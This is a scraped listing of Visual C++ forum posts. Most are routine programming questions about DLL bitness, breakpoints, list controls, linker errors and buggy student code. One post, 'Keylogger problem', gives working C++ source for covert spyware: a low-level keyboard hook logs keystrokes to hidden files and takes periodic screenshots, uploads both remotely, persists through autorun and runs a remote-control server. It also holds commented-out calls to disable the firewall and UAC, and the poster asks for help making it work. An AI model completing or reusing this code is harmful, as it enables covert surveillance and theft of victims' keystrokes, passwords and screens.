Quantcast
Channel: CodeGuru Forums - Visual C++ Programming
Viewing all 3021 articles
Browse latest View live

utility to check a DLL is 32bit or 64bit

$
0
0
Hello all:
I have two third party DLL files that I wanted to check if they are 32bit or 64. I searched the web and some suggested corflags, I found it under "C:\Program Files (x86)\Microsoft SDKs\Windows\v7.0A\Bin" (my machine is 64bit but I didn't find the utility under "Program Files" folder), it came out with the message:
corflags : error CF007 : The specified file does not have a valid NT file header

Whats wrong with it?

Thanks a lot,
Sway

Breakpoints aren't hit. How can I fix them?

$
0
0
I remember I asked this question before. I don't remember how exactly they are fixed.
Do I delete some files? I tried to recompile to no avail.
Thanks
Jack

Keylogger problem

$
0
0
I have the source code below,and it works perfect when i run it with double click.It captures keystrokes and makes screen shots for every 100 keystrokes + it can be controled remotely from another computer.
The problem is that when it is added to registry by calling SetAutorunEnable("JACKAL",true) function,it starts and captures keystrokes and everything,but it doesn't write to "work.n6" file and it doesn't increment pressed and photo_contor values.And i dont know why! Please help! I know that something is wrong in KeyboardEvent or JACKAL but i dont know what.Everything else works just fine!


#include "NZT.h"

LRESULT WINAPI KeyboardEvent (int nCode, WPARAM wParam, LPARAM lParam)
{
f = fopen("work.n6","a+");
wchar_t photo_name[MAX_PATH];
char * use;
LPWSTR convert;

if ((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))
{
static int pressed = 0;
static int photo_contor = 0;
f = fopen("work.n6","a+");
KBDLLHOOKSTRUCT hooked_key = *((KBDLLHOOKSTRUCT*)lParam);
DWORD dwMsg = 1;
dwMsg += hooked_key.scanCode << 0x10;
dwMsg += hooked_key.flags << 0x18;
char lpszKeyName[0x400] = {0};
lpszKeyName[0] = '[';

int i = GetKeyNameText(dwMsg, (lpszKeyName + 1),0xFF) + 1;
int key = hooked_key.vkCode;
lpszKeyName[i] = ']';
//Gamma Border
if (key >= 'A' && key <= 'Z')
{
if (GetAsyncKeyState(VK_SHIFT)>= 0) key += 0x20;
if (f!=NULL)
fprintf(f,"%c", key);
pressed += 1;
}
else
{
if (f != NULL)
fprintf(f,"%s", lpszKeyName);
pressed += 1;
}

hide_file("work.n6");
hide_file("data.n6");

if (pressed > 100 /*&& connection_possible*/)
{
fclose(f);
uploadFile("work.n6","work.txt");
_itow(photo_contor,photo_name,0xA);
convert = wcscat(photo_name,L".jpeg");
ScreenShot(convert,50);
use = wide_to_utf8(convert);
uploadFile(use,use);
hide_file(use);

if (photo_contor > 0)
{
_itow(photo_contor - 1,photo_name,0xA);
convert = wcscat(photo_name,L".jpeg");
DeleteFile(wide_to_utf8(convert));
}
pressed = 0;
photo_contor ++;
}
fclose(f);
}
return CallNextHookEx(hKeyboardHook,nCode,wParam,lParam);
}

DWORD WINAPI JACKAL(LPVOID lpParm)
{
HINSTANCE hins;
hins = GetModuleHandle(NULL);
hKeyboardHook = SetWindowsHookEx ( WH_KEYBOARD_LL, (HOOKPROC) KeyboardEvent, hins, 0);

MSG message;
while (GetMessage(&message,NULL,0,0))
{
TranslateMessage( &message );
DispatchMessage( &message );
}

UnhookWindowsHookEx(hKeyboardHook);
return 0;
}

void wmain()
{
//stealth();
//disable_firewall_UAC();
auto_hide();
SetAutorunEnable("JACKAL",true);

WSAStartup(0x0101,&wsdata);

getComputerInfo();
writeComputerInfo();
uploadComputerInfo();

tasks[0] = CreateThread( NULL, 0,
(LPTHREAD_START_ROUTINE)createServer, NULL, 0, NULL);
tasks[1] = CreateThread( NULL, 0,
(LPTHREAD_START_ROUTINE)JACKAL,NULL, 0, NULL);
WaitForMultipleObjects(2, tasks, TRUE, INFINITE );

WSACleanup();
}

trying to get streamreader to read and my calculations to populate my textbox

$
0
0
Here what i have so far, the error in the stream
[CODE]

Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click


Dim fileName As String = IO.File.ReadAllText("Grades.txt")
Dim GPA As Double = 0
Dim i As Integer = 0
If IO.File.Exists(fileName) Then
Dim sr As New IO.StreamReader(fileName)
Dim line As String
Dim finalscore As Double = 0
Dim count As Integer = 0

Using reader As = StreamReader = New StreamReader(fileName)
While Not reader.EndOfStream

End While

line = reader.ReadLine()
End Using



If line.Trim() <> String.Empty Then
finalscore += calculate(line)
count += 1
End If

GPA = finalscore / (count * 3)
TextBox1.Text = "student's GPa is " & Math.Round(GPA, 2).ToString()


End If



End Sub

Private Function calculate(ByVal grade As String) As Double
Dim value As Double = 0

If grade = "A" Then
value = 4.0 * 3

ElseIf grade = "A-" Then
value = 3.67 * 3

ElseIf grade = "B+" Then
value = 3.33 * 3

ElseIf grade = "B" Then
value = 3 * 3

ElseIf grade = "B-" Then
value = 2.67 * 3

ElseIf grade = "C+" Then
value = 2.33 * 3

ElseIf grade = "C" Then
value = 2.0 * 3

ElseIf grade = "C-" Then
value = 1.67 * 3

ElseIf grade = "D" Then
value = 1.0 * 3

ElseIf grade = "F" Then
value = 0

End If

Return value


End Function
End Class[\CODE]

draw multiple lines and move then on screen

$
0
0
I am writing a pure C based win32 applications. I have drawn line. Now i want to translate that line, move the line whereved user wants to move on screen. Then again I drawn another line, I am drawing multiple lines.

I have created rectangle region for each line and trying to move the line.

When I move the 2nd line over the 1st line on screen the 1st line is getting wiped out. Because I am InvalidateRect() of the rect for the line being moved, so when that rectangle is crossing the other line then the other line is getting removed from the screen.

How can I rectify it. How can I have all the lined being on the screen and moved according to the user's wish. The code should be pure C and win32 no MFC. Please help me how can I do it. Any help is highly appreciated. Thanks Sujan

32-bit vs 64-bit

$
0
0
Hi, ALL,
I have MSVS 2010 Pro installed on my machine.
I got it from MS official site thru my college.

The Help->About.. menu says:

Microsoft Visual Studio 2010 Version 10.0.40219.1 SP1Rel.

It does not say whether its 32- or 64-bit compiler but I suspect it's 32-bit.
Now, as far as I understand in order to produce 64-bit executable, I need 64-bit support from the compiler and 64-bit SDK. Am I right?
How do I get 64-bit support in my MSVC?

I am working with C++.

Thank you.

C++ error C2015 "Too many characters in constant"

$
0
0
I'm trying to put an if-else statement in a do-while loop and when I put the correct answer in the if statement I get that error. I'm creating a program to help someone who speaks Spanish lean English. Here's the program:

#include <iostream>
using namespace std;

int main()
{
int answer;
char repeat;
do {
cout<<"How do you say mañana?";
cin>>answer;
if (answer= 'tomorrow'||'Tomorrow')
cout<<"Correct";
else if (answer!='tomorrow'||'Tomorrow')
cout<<"Sorry";
cout<<"How do you say agua?";
cin>>answer;
if (answer='water'||'Water')
cout<<"Correct";
else if (answer!='wife'||'Wife')
cout<<"Sorry";
cout<<"Do you want to play again?";
} while(repeat=='Yes');
return 0;
}

Please little help me

$
0
0
Hello, I got some errors from void and others. Is something wrong that?

Code:

#include <cstdlib>
#include <iostream>
#include <string>
using namespace std;

int main()
{
const int size=5;
//array for students’ names
string sNames[size];
//get Names
for(int i=0; i<5; i++)
{
cout << "Enter a student’s name: ";
cin >> sNames[i];
}

//get scores
double scoreForS[size][4], avg[size],sum[size]={0,0,0,0,0};

for(int x=0;x<5;x++)
{
for(int y=0;y<4;y++)
{
cout<< "Enter the score for student " <<(x+1)<< " ";
cin>>scoreForS[x][y];
//input validation
while(scoreForS[x][y]<0||scoreForS[x][y]>100)
{
cout << "Error.The range of score is 0 to 100. Reenter : ";
cin >> scoreForS[x][y];
}
sum[x] += scoreForS[x][y];
}
}

//drop lowest score

double lowest[size];

for(int a=0;a<5;a++)
{
lowest[a]= scoreForS[a][0];
for(int b=1;b<4;b++)
{
if (lowest[a]>scoreForS[a][b])
lowest[a]= scoreForS[a][b];

}
sum[a]-=lowest[a];
}

//get avg
for(int c=0;c<5;c++)
{
avg[c]=sum[c]/3.0;
}

//scale
char grade[size];
for(int d=0;d<5;d++)
{
if(avg[d]>=90)grade[d]='A';
else if(avg[d]>=80)grade[d]='B';
else if(avg[d]>=70)grade[d]='C';
else if(avg[d]>=60) grade[d]='D';
else grade[d]='F';
cout<<"\nStudent " << sNames[d] << " get " << grade[d];
}

system("pause");
return 0;
}

void calcdata(int NUM_NAMES, double testscore[][NUM_TESTS])
{
   
double total;


for (int row = 0; row < NUM_NAMES; row++)
{

        total = 0;

        for (int col = 0; col < NUM_TESTS; col++)
       
                total += testscore[row][col];

                average[row] = total / NUM_TESTS;
       

                if (average[row] < 60)
                        grade[row] = 'F';
                else if (average[row] < 70)
                        grade[row] = 'D';
                else if (average[row] < 80)
                        grade[row] = 'C';
                else if (average[row] < 90)
                        grade[row] = 'B';
                else if (average[row] < 100)
                        grade[row] = 'A';
                       
}
for (int i = 0; i < 5; i++)
cout << "Student: " << name[i] <<" average: " << average[i] <<" grade: " << grade[i] << endl;
}

Anyone do u have idea?

Determine the type in the function template

$
0
0
Hi,

I want to detect the type in a function template, like this:

template <class myType> myType Function (myType a, myType b) {

// Detect the myType
If (myType is int)
{
…
}
Else
{
…
}

}

Is that possible?

Thanks

Alan

Use of CListCtrl for a live data view?

$
0
0
I'm working on an app which monitors user selected data sets from various devices, and I'd like to display the data in a CListCtrl. This would be very convenient, but I'm just a little concerned about (1) just how fast can a CListCtrl be populated, and (2) how can i reduce or eliminate screen flicker. To be specific...

1. There will likely be upwards of 100 rows of data, maybe more (probably 5 or 6 columns), and I'm going to have to refresh it all as quickly as possible, perhaps as fast as once per second. I can play games and only refresh a visible rectangle, but maybe someone has some experience doing something like this and can give me an idea how responsive the control would be, having all that data deleted and refreshed continually?

2. You can see why I'd be worried about screen flicker, and I thought I'd likely have to make two identical overlapped controls so I could double buffer as I would with a graphic animation, switching the visibility of one or another control after its updated to give the appearance of sudden complete updates. BUT... I see there is an extended style you can set called "LVS_EX_DOUBLEBUFFER", and I wonder if this would help me accomplish the same goal with just one control?

Thanks for any help!

#warning

$
0
0
I'm compiling a module which issues a #warning statement. It's a warning that I could safely ignore. At least, I should be able to ignore it except that VC8 insists on converting it to error C1021 which is a fatal error and stops compilation. The actual line looks something like this:-

Code:

#warning The warning message
It makes no difference what the message says. I've tried several different messages but they all get converted to error C1021. It almost looks as if my compiler doesn't realise that #warning is a valid pre-processor statement. And yet, according to this MSDN entry #warning has been valid since at least VC6.

I've tried opening the project's properties and selecting different warning levels but none of the settings made any difference. Is there something I need to do to tell the compiler that #warning isn't an error condition?

At the end of the day I could just comment the line out but I'd prefer to understand why it's not working.

Xinput controller state problem

$
0
0
I am making a mapper program for the 360 controller using XInput I am using SendInput to send keypresses to games

Code:

if(controller1->GetState().Gamepad.wButtons & XINPUT_GAMEPAD_B)
{
                       
                               
        memset(&ip,0,sizeof(INPUT));//
              UINT_PTR code = controller1->profile->Buttons[21]->keycode;
        ip.type = INPUT_KEYBOARD;
        ip.ki.wScan = MapVirtualKey(code,0);
        ip.ki.time = 0;
        ip.ki.dwExtraInfo = GetMessageExtraInfo();
        ip.ki.wVk = 0;
        ip.ki.dwFlags = KEYEVENTF_SCANCODE ;
                               
              if(controller1->profile->Buttons[21]->delayTimer <= 0)
        SendInput(1, &ip, sizeof(INPUT));

        ++controller1->profile->Buttons[21]->delayTimer;

        if(controller1->profile->Buttons[21]->delayTimer >= 300)
        {

        ++controller1->profile->Buttons[21]->repeatTimer;

        if(controller1->profile->Buttons[21]->repeatTimer >= 100)
        {

                                               
        SendInput(1, &ip, sizeof(INPUT));
        controller1->profile->Buttons[21]->repeatTimer = 0;
                               

        }
                               
        }
                               
        }
        else
        {
                               
        ip.ki.dwFlags = KEYEVENTF_SCANCODE | KEYEVENTF_KEYUP ;
        SendInput(1, &ip, sizeof(INPUT));
        controller1->profile->Buttons[21]->delayTimer = 0;
        controller1->profile->Buttons[21]->repeatTimer = 0;
       
        }

it sends the key up event continuously wich is not what I want I want to make it so when the button is up it only send the key up event once. I figured I would do this using a current controller state and a previous controller state using an XOR but I have failed every attempt. Any advice would be helpful considering this is the only thing holding me back from finishing.

P.S the code for checking the buttons state is in the main message loop.

C++, C#, and Excel

$
0
0
Hi,

I just got a job programming a windows application. One of the requirements is reading and writing values from an excel spreadsheet. Looking online, it appears that C++ isn't the best (one of the worst?) languages for reading and writing values from excel files. Now the language I'm most familiar with is C++ and I've been looking at C#, and it appears to be much easier to read excel files. So I'm just debating what I should do, and I'm looking for advice. Do you think it might be easier to learn C#, since I'm quite familiar with C++, and write the application in C#? Or is using C++ with excel easier than it looks? Thank you very much for the help. This site has always been awesome.

Greg

double vs int64

$
0
0
You'd think this would be a simple thing to find out from the internet but I must admit, I've struggled to find the answer :cry:

1) What is the range of numbers covered by a 64-bit double?
2) Ignoring fractions, is the above range wider or narrower than the range covered by an int64?

Simple question about Class and Variables

$
0
0
Hi ,

I have written a class "FileSet " in program's Document class.
This class contains other Four classes as "Machine1" , "Machine2",
"Machine 3" and "Machine 4".
Now my problem is Machine 1 can not access variables from Document class or other variables from FileSet.

How to acess them ? Pl help ..

Thanking you ..

Closing a MFC application from command prompt

$
0
0
Hi,

I have created a MFC dialog based application. Now I want to implement such a functionailty that I will be closing my application through command prompt.
And while closing of my application the ExitInstance() method of my application should get called.

Please guide me with the command which I should put in the command prompt to close my application in such a way.


Thanks in Advance,
Mayank

error LNK2001: unresolved external symbol

$
0
0
I am getting this error while compiling my c++ project in Visual Studio2005,


Error 3 error LNK2001: unresolved external symbol "class OdRxModule * __cdecl odrxCreateModuleObject_For_OdRasterProcessingServicesImpl(class OdString const &)" (?odrxCreateModuleObject_For_OdRasterProcessingServicesImpl@@YAPAVOdRxModule@@ABVOdString@@@Z) DwgDirect.obj
Error 4 error LNK2001: unresolved external symbol "class OdRxModule * __cdecl odrxCreateModuleObject_For_BitmapModule(class OdString const &)" (?odrxCreateModuleObject_For_BitmapModule@@YAPAVOdRxModule@@ABVOdString@@@Z) DwgDirect.obj
Error 5 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Root.lib
Error 6 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_DbRoot.lib
Error 7 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Ge.lib
Error 8 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Ge.lib
Error 9 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Root.lib
Error 10 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_DbRoot.lib
Error 11 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_DbRoot.lib
Error 12 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_DbRoot.lib
Error 13 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_DbRoot.lib
Error 14 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 15 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 16 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 17 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_DbRoot.lib
Error 18 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 19 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 20 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 21 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 22 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 23 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 24 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 25 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 26 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 27 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 28 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 29 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 30 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 31 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 32 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 33 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 34 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 35 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 36 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 37 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 38 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 39 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 40 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 41 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 42 error LNK2019: unresolved external symbol __imp___invalid_parameter_noinfo referenced in function "public: class std::list<class OdGsLightNode *,class std::allocator<class OdGsLightNode *> >::_Const_iterator<1> & __thiscall std::list<class OdGsLightNode *,class std::allocator<class OdGsLightNode *> >::_Const_iterator<1>::operator++(void)" (??E?$_Const_iterator@$00@?$list@PAVOdGsLightNode@@V?$allocator@PAVOdGsLightNode@@@std@@@std@@QAEAAV012@XZ) DD_Gs.lib
Error 43 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 44 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 45 error LNK2001: unresolved external symbol __imp___invalid_parameter_noinfo DD_Db.lib
Error 46 fatal error LNK1120: 3 unresolved externals c:\KCServices\ddCreate\ddCreate.exe 1



eventhough i linked all the .lib files under the path
1 . Project->Properties->Configuration Properties->Linker->Input->Additional Dependencies->
2. Toolos->options->VC++ Directories


Since i am new to visual studio ,i couldn't able to wave this error .
Quick response would be very appreciated

Cannot find the property settings file?

$
0
0
Here the max sdk plugin is looking at X:\projects
rather than x:\program files (x86)\autodesk\maxsdk

Inside the autodesk folder, there is a projectsettings\propertysheets subfolder
where the plugin is looking for.
Now an error pops up saying it needs
X:\projects\projectsettings\propertysheets\....
How can I fix that?

<Import Project="..\..\..\..\ProjectSettings\PropertySheets\3dsmax.general.project.settings.props" />

I find it hardcoded
How do I set where visual studio to search the correct property setting files automatically?
Thanks
Jack

MySQL Connector Data Dump

$
0
0
I wrote an application so I can manage the products for my e-commerce site. It uses MySQL 64 bit. Problem is some of my stores have in excess of 3 million products. The files that contain the data are all CSV. I parse the lines... format the data... write to table. On most of the stores which contain 10 - 60 thousand products it only takes max 3 min to write it all in. I have been running it on this one store for 6 hours now and it has barely made a dent. I know there are almost 3mil products in this one but it should be going much faster given what the speed was for the 60K stores. Is there a faster approach to handling a massive dump like this? I should also add that there are quite a few indexes. These indexes are there for ordering and fulltext search once the products have been activated on the site. I cannot create the table without the indexes and add them later since there is already preexisting data that is using the indexes. I know this is most likely what is slowing it down but I am at a total loss what to do next.

[RESOLVED] CFILE::GetStatus failed??Whats wrong?

$
0
0
Hey guys ,

I am trying to open a file from local Path by the follwing code

CString csRegExtractFileRemote;
CFileException ef;
CFileStatus cfsStatus;
CFile cfSAP;
csRegExtractFileRemote = "c:\\SW\\RemoteFile\\sample.txt";

if ( cfSAP.GetStatus(csRegExtractFileRemote, cfsStatus))
{
cout<<"YES\n"<<endl;
// open up the Extract file and create an archive for it
cout<<" Opening Extract file "<<endl;
if( !cfSAP.Open( csRegExtractFileRemote, CFile::modeRead, &ef ) )
{
cout<<"FAILED\n"<<endl;
printf("File %S could not be opened - %S",csRegExtractFileRemote,ef.m_cause);
//cout<<"File '%s' could not be opened - %s", csRegExtractFileRemote, ef.m_cause);
return FALSE;
}
cout<<"SUCCESS\n"<<endl;

CArchive caSAP( &cfSAP, CArchive::load );
CString csNewLine,
csSyncStatus;
int iTotalLines = 0;
cout<<"Done till here"<<endl;
}


Compilation is success full ,but i am observing that some junk value i sthere in the path variable
After Reaching If statment cursor went to final return statment ...


I donknow whats wrong in this Code

Can any one help me to resolve this
Viewing all 3021 articles
Browse latest View live